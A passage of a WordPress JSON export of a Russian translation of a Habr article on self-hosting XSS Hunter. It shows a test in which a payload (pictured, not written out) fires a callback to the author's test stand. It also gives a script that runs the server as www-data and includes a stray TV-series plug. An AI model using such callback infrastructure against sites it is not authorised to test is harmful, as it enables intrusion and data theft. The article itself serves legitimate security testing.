\u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u0443\u0441\u0442\u043e\u0439 html-\u0444\u0430\u0439\u043b \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0443\u0434\u0430 \u044d\u0442\u043e\u0442 \u043f\u0435\u0439\u043b\u043e\u0430\u0434. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/e9\/an\/dc\/e9andcktcb6wgadgy3xyqir4nt4.png\"><\/p>\n<p>  \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0438 \u0443\u0432\u0438\u0434\u0438\u043c \u0443\u0441\u043f\u0435\u0448\u043d\u0443\u044e \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u0430: js \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b, \u043e\u0431\u0440\u0430\u0442\u0438\u043b\u0441\u044f \u043a \u043d\u0430\u0448\u0435\u043c\u0443 \u0441\u0442\u0435\u043d\u0434\u0443, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u043a\u0440\u0438\u043f\u0442 js_callback \u0438 \u0441\u0434\u0435\u043b\u0430\u043b \u0441\u0432\u043e\u0435 \u0434\u0435\u043b\u043e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/n6\/e4\/ff\/n6e4ffzyqql9aedbswgjtnsrzag.png\"><\/p>\n<p>  \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043e\u0442\u0447\u0435\u0442\u044b \u0432 \u043d\u0430\u0448\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u0435 \u0432 XSS Hunter:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/yj\/xn\/d4\/yjxnd4binp7o8dabnlud8plxoli.png\"><\/p>\n<p>  \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u043f\u043e\u0447\u0442\u0435:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/pd\/qg\/yp\/pdqgypokdljvim6tiyzgtkrtcjg.png\"><\/p>\n<p>  It works! \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0438 \u0412\u044b \u043d\u0430 \u043d\u0430\u0448\u0435\u043c \u0441\u0442\u0435\u043d\u0434\u0435!<\/p>\n<blockquote><p><b>\u041f\u0440\u0438\u043c\u0435\u0440 \u043d\u0430\u0448\u0435\u0433\u043e \u0441\u0442\u0435\u043d\u0434\u0430:<\/b> <a href=\"https:\/\/www.372526-twosa.tmweb.ru\/\">www.372526-twosa.tmweb.ru<\/a>. <\/p><\/blockquote>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0415\u0441\u043b\u0438 \u0432\u044b \u0435\u0449\u0435 \u043d\u0435 \u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438 \u0441\u0435\u0440\u0438\u0430\u043b \u00ab\u041a\u0440\u0430\u0441\u0430\u0432\u0446\u044b\u00bb (Entourage), \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0447\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441!<\/p>\n<h3>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h3>\n<p>  \u041c\u043d\u0435 \u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043a\u0430\u043a root \u043b\u0438\u0431\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u044d\u0442\u043e \u043a\u0430\u043a www-data, \u044f \u0441\u0434\u0435\u043b\u0430\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u0447\u0442\u043e\u0431\u044b \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0449\u0435.<\/p>\n<p>  \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u0435 <b>apiserver.py<\/b> \u043d\u0430 <b>guiserver.py<\/b>, \u0447\u0442\u043e\u0431\u044b \u0438\u043c\u0435\u0442\u044c \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0443 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u042f \u0431\u0443\u0434\u0443 \u0440\u0430\u0434, \u0435\u0441\u043b\u0438 \u0432\u044b \u0431\u0443\u0434\u0435\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u043f\u0440\u0438\u0435\u043c.<\/p>\n<p>  Shell-\u0441\u043a\u0438\u043f\u0442 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 API:<\/p>\n<pre><code class=\"bash\">#!\/bin\/sh . env\/bin\/activate &amp;&amp; python apiserver.py<\/code><\/pre>\n<p>  \u0417\u0430\u043f\u0443\u0441\u043a \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043a\u0430\u043a www-data \u0438\u0437 \u0441\u043e\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438:<\/p>\n<pre><code class=\"bash\"># execute script above as www-data user sudo -u www-data .\/run.sh<\/code><\/pre>\n<p>  \u0413\u043e\u0442\u043e\u0432\u043e!<br \/>  \u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0437\u0430 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435. \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e!<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/company\/timeweb\/blog\/528570\/\"> https:\/\/habr.com\/ru\/company\/timeweb\/blog\/528570\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\n<blockquote><p>\u041f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u043c \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/robinlunde.com\/blog\/installing-xss-hunter\/\">Installing XSS Hunter<\/a> \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435. <\/p>\n<p>  <b>\u0421\u043f\u043e\u0439\u043b\u0435\u0440:<\/b> \u0412\u0441\u0451 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442!<\/p><\/blockquote>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/qw\/bd\/vw\/qwbdvwa0qp2ejezgvk6nixczira.jpeg\">  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-313293","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/313293","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=313293"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/313293\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=313293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=313293"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=313293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}